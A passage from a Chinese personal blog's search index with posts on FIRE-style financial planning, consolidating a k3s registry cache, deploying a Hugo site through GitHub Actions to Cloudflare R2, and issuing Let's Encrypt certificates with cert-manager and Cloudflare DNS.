","date":"2024-06-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/06/terraform-cf/","tags":["Terraform","Cloudflare"],"title":"使用Teraform来对Cloudflare Zerotrust配置管理"},{"categories":["职业与自由"],"contents":"前 在上一篇文章中，我介绍了 FIRE 的理念和为什么越来越多人选择这条路。很多朋友问我：道理都懂，但具体该怎么做？\n这篇文章想分享我在实践 FIRE 过程中的财务规划方法。这不是理论教程，而是我这几年真实的操作记录和踩坑经验。从储蓄率的提升，到资产配置的调整，再到被动收入的建立，我会尽量详细地分享具体的数字和思考过程。\n需要说明的是，每个人的财务状况不同，我的方法不一定适合所有人。但希望这些经验能给你一些启发。\n储蓄率：一切的起点 我的储蓄率提升之路 在决定追求 FIRE 之前，我的储蓄率大概在 20-30% 左右。看起来不错，但按照 FIRE 的计算，这个储蓄率需要 30 多年才能实现财务自由。\n我开始认真审视自己的收支情况，并在两年内将储蓄率提升到了 60% 左右。这是我做的几件事：\n第一步：真实记账 3 个月\n这一步很关键。我用了 3 个月时间详细记录每一笔开支，发现了很多\u0026quot;隐形消费\u0026quot;：\n各种订阅服务：视频网站、音乐平台、云存储，每月累计 200+ 外卖和咖啡：工作日几乎每天外卖，月均 3000+ 冲动消费：电商大促时买的\u0026quot;可能用得上\u0026quot;的东西，大部分闲置 健身房年卡：办了年卡却只去过 3 次 总结下来，每月至少有 30-40% 的支出是可以优化的。\n第二步：建立预算系统\n基于记账数据，我建立了一个简单的预算系统：\n税后收入分配： - 投资账户（自动转账）：50% - 必要支出（房租/房贷、水电、通勤、保险）：30% - 生活支出（饮食、日用品）：15% - 自由支出（娱乐、社交）：5% 这里需要注意：\n投资账户的钱每月初自动转账，避免\u0026quot;有余钱才存\u0026quot;的陷阱 必要支出相对固定，但需要定期审视是否可以优化 生活支出控制在合理范围，不影响生活质量 保留一定的自由支出，避免过度节俭导致无法坚持 第三步：优化大额支出\nFIRE 社区有句话：省小钱不如优化大钱。\n我的优化方向：\n住房（占支出 30-40%）\n从市中心搬到地铁沿线次中心区，房租降低 30% 评估是否需要租/买那么大的面积 考虑与室友合租以分摊成本 交通（占支出 10-15%）\n计算买车的真实成本：车贷、保险、油费、停车费、保养 我的选择：公共交通 + 共享单车，必要时打车 每月交通成本从 2000+ 降到 500 左右 饮食（占支出 20-25%）\n减少外卖频率，自己做饭 周末批量采购和准备食材 带饭上班，每月节省 2000+ 偶尔外出就餐，不影响生活质量 储蓄率的时间价值 很多人低估了储蓄率的重要性。这里有个表格可以直观地看到差异：\n年收入 年支出 储蓄率 年储蓄 达到 FIRE 年限 30万 27万 10% 3万 51年 30万 21万 30% 9万 28年 30万 15万 50% 15万 17年 30万 9万 70% 21万 8.5年 可以看到，从 30% 提升到 50% 的储蓄率，可以节省 11 年的时间。这就是为什么我说储蓄率是 FIRE 的核心。\n资产配置：让钱高效工作 我的资产配置演变 刚开始投资时，我的资产几乎全部放在银行定期和货币基金里。年化收益不到 3%，跑不赢通胀。在学习了大量投资知识后，我逐步调整了资产配置。\n当前的资产配置（2024）\n总资产分布： - 股票/指数基金：65% - 国内指数基金（沪深300、中证500）：30% - 美股指数基金（标普500、纳斯达克100）：25% - 个股（少量优质公司）：10% - 固定收益类：20% - 国债：10% - 企业债基金：5% - 可转债：5% - 现金类资产：10% - 应急储备金（6个月支出）：7% - 货币基金：3% - 另类资产：5% - 加密货币（比特币为主）：5% 这个配置基于几个原则：\n原则一：年龄决定风险偏好\n我目前 30+ 岁，距离退休还有时间，可以承受较高波动：\n股票类资产 65%，追求长期增长 固定收益 20%，降低波动 现金 10%，应对流动性需求 另类资产 5%，小仓位尝试 如果你年龄更大或更保守，可以降低股票比例，提高债券和现金比例。\n原则二：全球分散\n不要把所有鸡蛋放在一个篮子里，这个\u0026quot;篮子\u0026quot;不仅指资产类别，也指地域：\n国内市场：30% 美国市场：25% 其他市场（通过全球指数基金）：10% 这样做的好处是：\n某个市场下跌时，其他市场可能上涨 分散单一国家/地区的系统性风险 享受全球经济增长的红利 原则三：被动投资为主\n我的投资策略是典型的被动投资：\n80% 以上资金投资指数基金 定期定额投资，不择时 长期持有，不做短期交易 每年再平衡一次 具体的投资工具 这是我实际使用的投资工具和平台：\n国内市场\n沪深300 ETF（510300）：跟踪国内大盘蓝筹 中证500 ETF（510500）：跟踪中盘成长股 创业板指数基金：科技成长方向 投资平台：支付宝、天天基金、券商 APP 美国市场\n标普500 指数基金（如QDII基金）：跟踪美国大盘 纳斯达克100：科技股集中 投资平台：老虎证券、富途证券（适合美股投资） 固定收益类\n国债：通过银行或国债逆回购 债券基金：选择费率低、规模大的基金 可转债：适合有一定经验的投资者 现金管理\n货币基金（余额宝、微信零钱通）：日常流动性 银行活期+：部分银行有活期+产品，收益略高于活期 我的定投计划 定投是我实现 FIRE 的核心策略之一。这是我的定投计划：\n定投设置\n每月定投日：发工资后第 3 天（避免月初扣款失败） 定投金额：税后收入的 50% 资金分配： - 沪深300指数基金：30% - 标普500指数基金：30% - 中证500指数基金：20% - 纳斯达克100指数基金：20% 定投的好处\n强制储蓄：每月自动扣款，避免消费 摊平成本：在市场高低点都买入，平均成本 降低情绪影响：不需要判断买入时机 长期坚持：适合上班族的懒人投资法 定投的纪律\n无论市场涨跌，坚持定投 下跌时不恐慌，是积累低成本筹码的机会 上涨时不贪婪，按计划执行 每年评估一次，不频繁调整 被动收入：FIRE 的终极目标 被动收入的构成 FIRE 的核心是建立足够的被动收入来覆盖生活开支。我目前的被动收入来源：\n投资收益（主要来源）\n股息收入：持有派息股票和基金的分红 利息收入：债券、国债的利息 资本增值：虽然不是被动收入，但可以通过定期提取实现 目标设定\n假设年支出：12 万 根据 4% 法则，需要资产：12万 ÷ 4% = 300万 当前进度（2024）： - 总资产：180万 - 完成度：60% - 预计达成时间：5-7年（假设年化收益 8-10%） 数字资产收入（探索中）\n博客广告收入：月均 500-1000 开源项目赞助：不稳定，月均 200-500 在线课程：一次性制作，持续收益 其他被动收入（未来规划）\n出租房产：暂时没有多余房产 知识付费：计划制作技术课程 版权收入：考虑出版技术书籍 如何提高投资收益 在合理控制风险的前提下，可以通过一些方法提高收益：\n选择低费率产品\n指数基金管理费：0.5% 以下 避免高费率的主动基金 长期来看，费率差异影响巨大 税收优化\n利用个人养老金账户（IRA/401k）的税收优惠 了解股息税、资本利得税的规则 合理安排资产在不同账户的配置 股息再投资\n开启分红自动再投资 利用复利效应 长期收益差异显著 定期再平衡\n每年审视一次资产配置 卖出涨幅过大的资产 买入跌幅较大的资产 保持目标配置比例 风险管理：保护你的 FIRE 计划 我踩过的坑 在实践 FIRE 的过程中，我也犯过一些错误：\n错误一：应急储备金不足\n刚开始时，我把几乎所有钱都投入了股市。结果遇到紧急情况（家人生病）需要用钱，不得不在市场低点卖出股票，损失不小。\n教训：永远保持 3-6 个月的生活费作为应急储备金。\n错误二：追涨杀跌\n2020-2021 年的牛市中，看到别人炒股赚钱，我也忍不住频繁交易，结果不仅没赚到，还亏了手续费。\n教训：坚持定投策略，不要被市场情绪左右。\n错误三：忽视保险\n早期为了提高储蓄率，我取消了所有商业保险。后来意识到，重大疾病或意外可能让多年的积累化为乌有。\n教训：必要的保险不是支出，而是投资。\n我的风险管理策略 现金储备\n应急储备金：6 个月生活费（约 6 万） 放在货币基金中，随时可用 每年根据支出调整额度 保险配置\n保险支出：年收入的 5-8% 具体配置： - 重疾险：保额 50 万，30 年缴费 - 百万医疗险：年缴 300-500 - 意外险：年缴 200-300 - 定期寿险：保额 100 万（如有家庭责任） 投保原则： - 先保障后理财 - 保额要足够 - 避免返还型保险（性价比低） - 每年审视一次保单 分散投资\n不同资产类别：股票、债券、现金 不同市场：国内、美国、全球 不同平台：多个券商账户，降低单一平台风险 定期检查\n我每季度会做一次财务检查：\n资产配置是否偏离目标 收支情况是否符合预期 投资收益是否合理 FIRE 进度是否按计划推进 持续学习和调整 我的学习资源 FIRE 不是一个静态的目标，需要持续学习和调整。这些是我常用的学习资源：\n书籍\n《富爸爸穷爸爸》：财务思维启蒙 《穷查理宝典》：投资智慧 《漫步华尔街》：指数投资理论 《聪明的投资者》：价值投资经典 《财务自由之路》：FIRE 实践指南 播客和视频\n《得到》App：财经类课程 YouTube：Graham Stephan、Andrei Jikh（英文，FIRE 主题） B站：理财和投资科普频道 社区\nReddit r/financialindependence：英文 FIRE 社区 豆瓣 FIRE 小组：中文讨论 雪球：投资交流平台 集思录：低风险投资策略 工具\nGoogle Sheets：自己做的财务追踪表格 且慢/蛋卷基金：基金组合工具 记账 APP：MoneyWiz、Beancount 策略调整的时机 不需要频繁调整策略，但这些情况需要重新评估：\n人生阶段变化\n结婚、生子：增加保险保额，调整风险偏好 换工作：收入变化，调整储蓄金额 父母养老：增加现金储备 市场环境变化\n经济衰退：适当提高现金和债券比例 通胀高企：增加抗通胀资产配置 利率变化：调整债券投资策略 目标调整\nFIRE 时间表提前或推后 退休后的生活方式改变 地理位置变化（移民、回老家等） 后 写完这篇文章，我对着自己的财务表格发了一会儿呆。从 2020 年开始正式追求 FIRE，到现在已经 4 年了。总资产从 40 万增长到 180 万，FIRE 进度从 10% 提升到 60%。\n这个过程不是一帆风顺的。经历过 2022 年的市场暴跌（账户缩水 20%），也经历过定投了一年还是亏损的煎熬。但正是这些经历让我更加坚定：FIRE 不是一夜暴富，而是一场马拉松。\n我总结几个核心要点：\n关于储蓄\n储蓄率是核心，50% 是一个理想目标 优化大额支出比省小钱更有效 建立预算系统，让储蓄自动化 关于投资\n被动投资+定投是最适合普通人的策略 分散投资，全球配置 长期持有，不要被市场情绪影响 关注成本（费率、税收） 关于风险\n保持足够的应急储备金 配置必要的保险 不要过度集中在单一资产 定期检查和调整 关于心态\nFIRE 是马拉松，不是短跑 坚持比完美更重要 享受过程，不要过度压抑 找到适合自己的节奏 最后，FIRE 的财务规划没有标准答案。我的方法是基于自己的情况和风险偏好，你需要找到适合自己的方式。但核心原则是相通的：高储蓄、理性投资、控制风险、持续学习。\n如果你也在追求 FIRE，欢迎交流。如果你刚刚开始思考这个方向，希望这篇文章能给你一些启发。\n记住，开始永远不晚，关键是现在就开始行动。\n","date":"2024-06-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/06/fire_2/","tags":["FIRE","投资理财","资产配置","被动收入"],"title":"FIRE 实践指南：我的财务规划方法"},{"categories":["devops"],"contents":"前 由于是在本地的机器上部署的K3s集群，当部署的项目多了之后节点拉取镜像的流量会变得频繁。而且在国内的特殊网络情况的状态下，镜像拉取有较大失败概率，导致经常有工作负载是 error 的情况。\n所以建立了镜像缓存，对全部节点拉取的镜像来进行缓存，并且持久化存储在 NFS 服务器上。过程见下\n使用k3s部署镜像缓存以及管理系统\n但是目前的目录结构如下，每一个 镜像源都建立了一个 Deploy来提供服务，整体性很差。\n➜ play-with-k3s git:(main) tree ./proxy_registry_deprecated ./proxy_registry_deprecated ├── README.md ├── pod-base.yaml ├── reg-gcr.yaml ├── reg-hub ├── reg-hub.yaml ├── reg-k8s-gcr ├── reg-k8s-gcr.yaml ├── reg-quay.yaml ├── registry-admin.yaml └── run.sh 所以这篇博文记录下镜像代理的部署的优化。实现效果是 在一个pod 中来部署全部的 registry的实例。 使用同一service/ingress 来提供服务。\n正文 优化后的目录以及文件如下，可以明显看到目录结构有了很大的优化，便于后续的管理和维护。\n➜ play-with-k3s git:(main) tree proxy_registry_v2 proxy_registry_v2 ├── readme.md ├── registry-admin.yaml └── registry-cache.yaml registry-admin.yaml\nregistry-cache.yaml\n在yaml 代码甚至K3s 特性上其实并没有用到什么新的东西。但是站在项目设计的整体性上面是个很好的优化。所以记录一下。\n","date":"2024-05-22T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/05/registry%E4%BB%A3%E7%90%86%E9%85%8D%E7%BD%AE/","tags":["k3s","k8s"],"title":"Registry-cache AIO部署优化"},{"categories":["devops"],"contents":"前 很长时间没有更新自己的博客了，可能是人的经验是有限的，也可能是最近的东西都是零散的记录在 Obsidian上。但是看过一篇写PKM的文章，所有的知识有 输入 转化 和输出 三个步骤。写博客就是属于输出的过程。\n知识没有体系则不是知识\n这篇文章里面，把自己的hugo的博客换了主题。觉得之前的 Paper-mod 的主题layout并不是很喜欢。\n并且配置太多，不符合我现在的minimal的主张了。所以找到了一个 texify3的主题，由于没有搜索功能，后面也进行了二次开发。加上一些自己喜欢的功能。后面可能会把这个主题从原来的 仓库中分离出来。\n这篇看标题是记录把静态博客从 vercel 迁移到使用 Github action来进行部署。原因有\nvercel 在部署的时候 sass 有兼容性问题，导致css 无法完成编译。直接导致无法使用 显然 gtihub action 更是正规军，有完整的 CICD的流程。可以联系下新技能 在方案选型上使用：\nHugo github Action Cloudflare R2 由于 Github Pages 只支持 Public 的仓库，但是博客的源文件不想open掉，所以这里使用 R2 来作为静态文件的托管。也遇上了一些问题。后面会讲。\n正文 流水线 这里使用的是 Github Action。通过自己编写 yaml 文件来实现自动化的build和deploy。这里分两部分来介绍\nBuild 这里直贴出来pipeline 的文件，下面部份 是实现了 hugo 的安装，npm 安装依赖，以及Hugo 的编译。这里的 ShortID 是一个 博客的前缀路径，用于区分 对象存储里的文件版本。\nbuild: runs-on: ubuntu-latest env: HUGO_VERSION: 0.126.1 steps: - name: Install Hugo CLI run: | wget -O ${{ runner.temp }}/hugo.deb https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_extended_${HUGO_VERSION}_linux-amd64.deb \\ \u0026amp;\u0026amp; sudo dpkg -i ${{ runner.temp }}/hugo.deb - name: Install Dart Sass run: sudo snap install dart-sass - name: Setup Node uses: actions/setup-node@v4 with: node-version: 18 - name: Checkout uses: actions/checkout@v4 with: submodules: recursive - name: Install Node.js dependencies run: npm install - name: Install Node.js dependencies run: \u0026#34;[[ -f package-lock.json || -f npm-shrinkwrap.json ]] \u0026amp;\u0026amp; npm ci || true\u0026#34; - name: Build with Hugo env: # For maximum backward compatibility with Hugo modules HUGO_ENVIRONMENT: production HUGO_ENV: production run: | hugo --minify --baseURL \u0026#34;${{ vars.BASE_URL }}/${{ env.SHORTID }}\u0026#34; 这里说一下ShortID，这里在流水线中生成了 ShortID， 在两个地方用到。\n在Hugo 编译的时候配置在 baseURL中，用于访问不同的博客版本 写入临时文件，传递给下一个JOB（deploy）来使用 - name: Generate shortid run: | npm install shortid SHORTID=$(node -e \u0026#34;console.log(require(\u0026#39;shortid\u0026#39;).generate())\u0026#34;) echo \u0026#34;SHORTID=$SHORTID\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV - name: Print shortid run: | echo ${{ env.SHORTID }} echo $SHORTID \u0026gt; ./public/shortid.txt - name: Upload artifact uses: actions/upload-artifact@v4 with: name: public-folder path: ./public Deploy Deploy主要实现的功能就是上传到 R2。代码如下，使用 download-artifact 来获取前面的 public 文件夹。之后使用 upload 模块来上传到R2 即可提供访问。\n# Deployment job deploy: runs-on: ubuntu-latest needs: build steps: - name: Download public folder artifact uses: actions/download-artifact@v4 with: name: public-folder path: public/ - name: Read shortid from file run: | SHORTID=$(cat public/shortid.txt) echo \u0026#34;SHORTID=$SHORTID\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV - uses: shallwefootball/s3-upload-action@master name: Upload public with: endpoint: ${{ vars.S3_ENDPOINT }} aws_key_id: ${{ vars.AWS_KEY_ID }} aws_secret_access_key: ${{ secrets.AWS_SECRET_ACCESS_KEY}} aws_bucket: ${{ vars.AWS_BUCKET }} source_dir: \u0026#39;./public\u0026#39; destination_dir: ${{ env.SHORTID }} 但是在实际使用的时候遇到了问题：\nR2 的文件版本问题 R2 不支持try index.html Patch 部署 第一个问题，我们在前面引入了 ShortID。\n每次静态文件都会上传到不同的ShortID 对应的目录下。来实现版本控制。\n针对第二个问题，使用一个简单的index文件来实现自动跳转到ShortID 的路径\n- name: Create index.html run: | echo \u0026#34;\u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;meta http-equiv=\u0026#39;refresh\u0026#39; content=\u0026#39;0; url=/${{ env.SHORTID }}/index.html\u0026#39;\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34; \u0026gt; index.html 访问 在R2 时候还有一个访问的问题。例如下面的链接。会报404的问题，因为不会自动try index.html\nhttps://blog3.12ms.xyz/52UkBhSCH/posts/\n这里需要在 CF中添加重定向规则，这样就强制在非资源链接后面添加 index.html 的文件名，例如上面的链接就变成了下面的样子。 这样就可以解决掉404 问题。\nhttps://blog3.12ms.xyz/52UkBhSCH/posts/index.html\n#匹配 (not http.request.uri.path contains \u0026#34;.\u0026#34; and http.request.uri.path ne \u0026#34;/\u0026#34; and http.host eq \u0026#34;blog3.12ms.xyz\u0026#34;) #重定向 concat(http.request.uri.path, \u0026#34;/index.html\u0026#34;) 后 虽然整体的过程没有什么难以理解的概念。但是从 vercel 升级到 GA 来进行部署 更贴近正式的 CICD 的流程还是很开心的。\n中间遇到了一些问题，也是用综合的知识来进行一一解决。这就是工程师的成长之路吧。\n","date":"2024-05-22T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/05/%E4%BB%8E-vercel-%E5%88%B0-github-action/","tags":["Blog","CICD","Hugo"],"title":"从vercel到Github action"},{"categories":["职业与自由"],"contents":"前 在过去几年里，FIRE（Financial Independence, Retire Early）这个概念频繁出现在我的信息流中。从Reddit的 r/financialindependence 社区，到国内的财务自由讨论组，越来越多人在谈论如何在40岁甚至更早就退休。\n最初我对这个概念持怀疑态度：在这个时代，真的有可能在中年就不再工作吗？但在深入研究并实践了一段时间后，我开始理解 FIRE 背后的逻辑，以及为什么它吸引了越来越多人。\n这篇文章想和大家聊聊 FIRE 到底是什么，为什么越来越多人选择这条路，以及它是否适合你。\nFIRE 的核心概念 什么是 FIRE FIRE 是 \u0026ldquo;Financial Independence, Retire Early\u0026rdquo; 的缩写，直译就是\u0026quot;财务独立，提早退休\u0026quot;。但这个翻译容易产生误解，因为 FIRE 的核心不在\u0026quot;退休\u0026quot;，而在选择的自由。\n核心逻辑很简单：\n当你的被动收入可以覆盖生活开支时，工作就从\u0026quot;必须\u0026quot;变成了\u0026quot;选择\u0026quot;。\n财务独立（FI）\n积累足够的资产，产生的被动收入能覆盖日常开支 不再依赖工资收入来维持生活 拥有选择如何支配时间的自由 提早退休（RE）\n在传统退休年龄（60-65岁）之前停止全职工作 不一定是完全不工作，而是可以选择性工作 专注于自己真正想做的事情 FIRE 的计算公式 FIRE 社区有一个经典的经验法则：4%法则（The 4% Rule）\n基本逻辑：\n如果你每年的支出是 10 万，那么你需要 250 万的投资资产 每年从资产中提取 4% 用于生活开支 根据历史数据，这个提取率可以让你的资产在 30 年内不会耗尽 计算公式：\nFIRE 数字 = 年支出 × 25 或 FIRE 数字 = 年支出 ÷ 4% 实际例子：\n年支出 10 万 → 需要 250 万资产 年支出 20 万 → 需要 500 万资产 年支出 30 万 → 需要 750 万资产 FIRE 的不同流派 在研究 FIRE 的过程中，我发现它并不是一个单一的概念，而是有多种实现路径：\nLean FIRE（精简型）\n通过极简生活方式降低支出 需要的资产规模较小 适合追求极简主义的人 Fat FIRE（富足型）\n保持较高的生活水平 需要更多的资产积累 退休后依然可以保持当前生活方式 Barista FIRE（咖啡师型）\n积累足够资产后从事轻松的兼职工作 兼职收入补贴部分生活费 降低对投资回报的依赖 Coast FIRE（滑行型）\n提前积累足够的投资本金 让投资自然增长到退休年龄 不再需要为退休而储蓄 为什么越来越多人选择 FIRE 获得时间的主权 这是我认为 FIRE 最吸引人的地方：重新获得对时间的控制权。\n在传统的工作模式中：\n每天 8-10 小时的工作时间不由自己支配 通勤时间、工作压力占据了大部分精力 真正属于自己的时间非常有限 实现 FIRE 后：\n可以选择做自己真正感兴趣的事情 有时间陪伴家人、发展兴趣爱好 可以学习新技能、尝试新领域 能够从事更有意义但不赚钱的工作 抵御不确定性 当前的职场环境充满不确定性：\n职业风险\n行业变化快，今天的热门技能明天可能过时 裁员潮时有发生，工作稳定性下降 年龄歧视普遍存在，35 岁危机真实存在 经济波动\n通货膨胀侵蚀购买力 经济周期带来的就业压力 单一工资收入的脆弱性 FIRE 提供了一个缓冲：\n不再完全依赖工资收入 有资本应对经济下行 可以从容选择下一步而不是被迫接受 追求更健康的生活方式 在和很多追求 FIRE 的朋友交流后，我发现一个共同点：他们都希望逃离不健康的工作模式。\n典型的职场困境：\n长期加班导致的身体透支 工作压力带来的精神焦虑 缺乏运动和休息时间 为了生活不得不忍受不喜欢的工作 FIRE 后的改变：\n有时间保持规律的运动 可以获得充足的睡眠 精神压力大幅降低 身心健康得到改善 提早实现人生目标 很多人都有\u0026quot;等退休了再做\u0026quot;的梦想清单，但问题是：\n传统退休年龄是 60-65 岁 到那个年龄，体力和精力已经大不如前 很多事情需要在年轻时完成 FIRE 让你可以：\n在 30-40 岁就拥有时间自由 有精力和体力去实现梦想 尝试多种人生可能性 不留遗憾地生活 FIRE 的实现路径 核心要素：高储蓄率 FIRE 的数学很简单：你的储蓄率决定了实现 FIRE 需要的时间。\n储蓄率与达成 FIRE 所需年限的关系：\n储蓄率 达成 FIRE 所需年限 10% 51 年 25% 32 年 50% 17 年 75% 7 年 这里需要注意：\n储蓄率 = 储蓄金额 ÷ 税后收入 储蓄率越高，达成 FIRE 的速度越快 50% 的储蓄率是一个比较现实的目标 增加收入 提高储蓄率有两个方向：增加收入或降低支出。我认为增加收入是更可持续的方式。\n主业收入优化\n提升技能，获得更高薪资 跳槽到薪酬更好的公司 争取晋升和加薪机会 发展副业收入\n利用专业技能接私活 创建数字产品（课程、工具、内容） 投资技能学习，拓展收入渠道 创建被动收入\n股票和指数基金投资 房地产投资（出租收入） 数字资产（网站、应用、课程） 控制支出 这不是让你过苦行僧的生活，而是有意识地消费。\n核心原则\n区分需要和想要 为真正重要的事情花钱 避免为了炫耀而消费 延迟满足，优先投资 常见的优化方向\n住房：考虑地段和面积的平衡 交通：评估买车的真实成本 饮食：减少外卖，自己做饭 娱乐：选择性价比高的娱乐方式 订阅：定期清理不需要的订阅服务 投资策略 FIRE 的核心是让钱为你工作，这需要有效的投资策略。\n被动投资派（我的选择）\n定期定额投资指数基金 长期持有，不做短期交易 保持低成本，避免频繁操作 相信市场的长期增长 资产配置建议\n股票类资产：60-80%（指数基金为主） 债券类资产：10-20%（降低波动） 现金储备：10-20%（应急基金） 根据年龄调整风险偏好 这里需要注意\n不要试图预测市场 避免追涨杀跌 保持纪律性，坚持定投 关注资产配置而非单一资产 FIRE 是否适合你 需要考虑的因素 在决定是否追求 FIRE 之前，需要诚实地评估这些问题：\n个人因素\n你是否愿意延迟满足？ 能否接受简化生活方式？ 是否有强大的自律能力？ 对工作的态度如何？ 家庭因素\n伴侣是否支持这个理念？ 是否有赡养父母的责任？ 子女教育的财务需求如何？ 家庭整体的财务状况？ 职业因素\n当前收入水平如何？ 是否有增加收入的潜力？ 工作压力是否已经不可忍受？ 是否有清晰的职业规划？ FIRE 不是逃避 这是我想强调的重要一点：\nFIRE 不是逃避工作，而是获得选择工作的自由。\n很多人误解 FIRE 是\u0026quot;不想工作\u0026quot;的借口，但实际上：\n真正实现 FIRE 需要极强的执行力 需要在职业早期更加努力 是为了选择更有意义的工作方式 不是终点，而是新的起点 中国特色的考量 在中国追求 FIRE 有一些特殊的考虑因素：\n优势\n储蓄文化深厚，储蓄率相对较高 家庭支持系统比较完善 生活成本相对可控 挑战\n社会保障体系不够完善 医疗和养老需要更多自费 教育成本较高 房价在某些城市是巨大负担 我的观点\n可以追求 FI（财务独立），RE（提早退休）可以灵活对待 保持一定的工作收入更加稳妥 注重风险管理和应急储备 医疗保险和长期护理保险不可忽视 后 写这篇文章的目的不是鼓励所有人都去追求 FIRE，而是希望大家认识到：我们对职业和人生有更多的选择权。\nFIRE 的价值不在于具体的退休年龄，而在于它提供的思考框架：\n重新审视消费和储蓄的关系 思考工作在人生中的位置 计算时间和金钱的真实成本 为自己设计想要的生活方式 即使你不打算完全实现 FIRE，学习其中的理念也能帮助你：\n建立更健康的财务习惯 提高财务安全感 获得更多的选择自由 减少对工作收入的依赖 最后，如果你对 FIRE 感兴趣，可以从这些资源开始：\n书籍：《富爸爸穷爸爸》《通往财富自由之路》 社区：Reddit r/financialindependence 工具：Personal Capital（资产追踪）、Mint（预算管理） 希望这篇文章能够帮助你思考自己的财务目标和人生规划。记住，FIRE 不是唯一的答案，找到适合自己的生活方式才是最重要的。\n","date":"2024-05-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2024/05/fire_1/","tags":["FIRE","财务自由","投资","被动收入"],"title":"FIRE：财务自由与提早退休的可行性"},{"categories":["devops"],"contents":"前 这一篇也是基础设施的部署记录。cert-manager用于集群的 ingress https 证书的管理。\n他可以自动的完成 证书的签发，然后配合 ingressroute就可以很简单的进行证书的部署。更加适用于K8s 的体系。对比于 nginxproxy manager 这种，虽然也是使用 acme 来进行 https 的证书签发，其无法与集群进行很好的结合。以及证书的管理需要存储在硬盘上，无法很好的兼容 K8 的模式。\n完成部署后，可以直接在内网使用 https访问，提升整体的系统美感。后续使用 proxy 进行服务暴露时候也更加的优雅。\n这篇记录实际部署以及操作流程。\nCert-manager安装 安装部份直接使用 helm 来进行配置。之前对 helm 还有些抵触，觉得降低了自己的定制性。但是逐渐发现通过 values 也提供了 很好的定制性。而且由于资源是打包的，有更好的整体性。换个方式也可以理解为 K8s 下的 apt\napiVersion: v1 kind: Namespace metadata: name: cert-manager 安装过程很简单，导入 charts，安装 CRD，然后安装整个 chart\nhelm repo add jetstack https://charts.jetstack.io helm repo update kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.13.2/cert-manager.crds.yaml helm install cert-manager jetstack/cert-manager --namespace cert-manager --version v1.13.2 --values=values.yaml 这里一些参数需要自定义，values 的内容如下。因为 CRD 已经手动安装，所以fasle，这里的PodDNS 配置比较重要，因为需要让他使用 我们的 resolver 的DNS 直接进行DNS 查询，如果使用 本地网路的 LDNS 可能会出现查询缓存，甚至是 TXT 记录查询不到的问题。\ninstallCRD: false replicaCount: 2 extraArgs: - --dns01-recursive-nameservers=1.1.1.1:53,9.9.9.9:53,8.8.8.8:53 - --dns01-recursive-nameservers-only podDnsPolicy: None podDnsConfig: nameservers: - \u0026#34;1.1.1.1\u0026#34; - \u0026#34;9.9.9.9\u0026#34; - \u0026#34;8.8.8.8\u0026#34; ISSUER 配置 issuer 就是我们证书的签发方。我们配置好之后就可以用它来进行配置的签发\nAPI-ClusterIssuer CF-token-secret 我们通过Cloudflare 作为我们的 DNS 托管商，在签发证书的时候需要通过 acme 的TXT记录来进行 所有权限的检验。\n这个token是 用来操作CF自动新增acme 的TXT 记录所使用。所以需要有DNS edit 的权限。\napiVersion: v1 kind: Secret metadata: name: cloudflare-token-secret namespace: cert-manager type: Opaque stringData: cloudflare-token: \u0026#34;1234\u0026#34; ISSUER Issuer 就是我们用来颁发证书的配置，这里我们创建两个，一个是用于生产环境的。 一个是 staging，用于预生产的测试。因为letsencrypt的接口会有限频。如果配置有问题的情况下，可能会导致被 429 导致长时间的等待。所以 这里就直接使用 staging 来用于验证，没问题后切换到 生产。\n具体配置可以参考 API文档\nAPI-ClusterIssuer Staging apiVersion: cert-manager.io/v1 kind: ClusterIssuer metadata: name: letsencrypt-production spec: acme: server: https://acme-v02.api.letsencrypt.org/directory email: \u0026#34;tmp@12ms.xyz\u0026#34; privateKeySecretRef: name: letsencrypt-production solvers: - dns01: cloudflare: email: \u0026#34;tmp@12ms.xyz\u0026#34; apiTokenSecretRef: name: cloudflare-token-secret key: cloudflare-token selector: dnsZones: - \u0026#34;r4y.site\u0026#34; Production apiVersion: cert-manager.io/v1 kind: ClusterIssuer metadata: name: letsencrypt-staging spec: acme: server: https://acme-staging-v02.api.letsencrypt.org/directory email: \u0026#34;tmp@12ms.xyz\u0026#34; privateKeySecretRef: name: letsencrypt-staging solvers: - dns01: cloudflare: apiTokenSecretRef: name: cloudflare-token-secret key: cloudflare-token selector: dnsZones: - \u0026#34;r4y.site\u0026#34; 签发证书 有了前面的 issuer 配置之后，就可以创建证书资源来获取证书了。配置也很简单，指定 issuer用于 证书签发，然后配置 commonName和后面的子域名。\n# 这个是 Staging 的 apiVersion: cert-manager.io/v1 kind: Certificate metadata: name: local-r4y namespace: default spec: secretName: local-r4y issuerRef: name: letsencrypt-staging kind: ClusterIssuer commonName: \u0026#34;*.local.r4y.site\u0026#34; dnsNames: - \u0026#34;local.r4y.site\u0026#34; - \u0026#34;*.local.r4y.site --- # Production 的配置 apiVersion: cert-manager.io/v1 kind: Certificate metadata: name: local-r4y-prod namespace: default spec: secretName: local-r4y-prod issuerRef: name: letsencrypt-production kind: ClusterIssuer commonName: \u0026#34;*.local.r4y.site\u0026#34; dnsNames: - \u0026#34;local.r4y.site\u0026#34; - \u0026#34;*.local.r4y.site\u0026#34; Apply 之后可以看到创建了 Challenge 的资源，等待完成 challenge的过程。\n➜ issuers git:(main) ✗ kubectl get challenges.acme.cert-manager.io -A -o wide NAMESPACE NAME STATE DOMAIN REASON AGE default local-r4y-prod-1-2800136040-3102289587 local.r4y.site 2m37s default local-r4y-prod-1-2800136040-519127018 valid local.r4y.site Successfully authorized domain 2m37s Challenging 的过程我们可以通过log看到，等待大概5分钟左右，完成证书签发。\nkubectl logs -n cert-manager cert-manager-57c9f949b7-2vkx4 ... I1211 13:48:56.816111 1 trigger_controller.go:215] \u0026#34;cert-manager/certificates-trigger: Certificate must be re-issued\u0026#34; key=\u0026#34;default/local-r4y\u0026#34; reason=\u0026#34;DoesNotExist\u0026#34; message=\u0026#34;Issuing certificate as Secret does not exist\u0026#34; I1211 13:48:56.816245 1 conditions.go:203] Setting 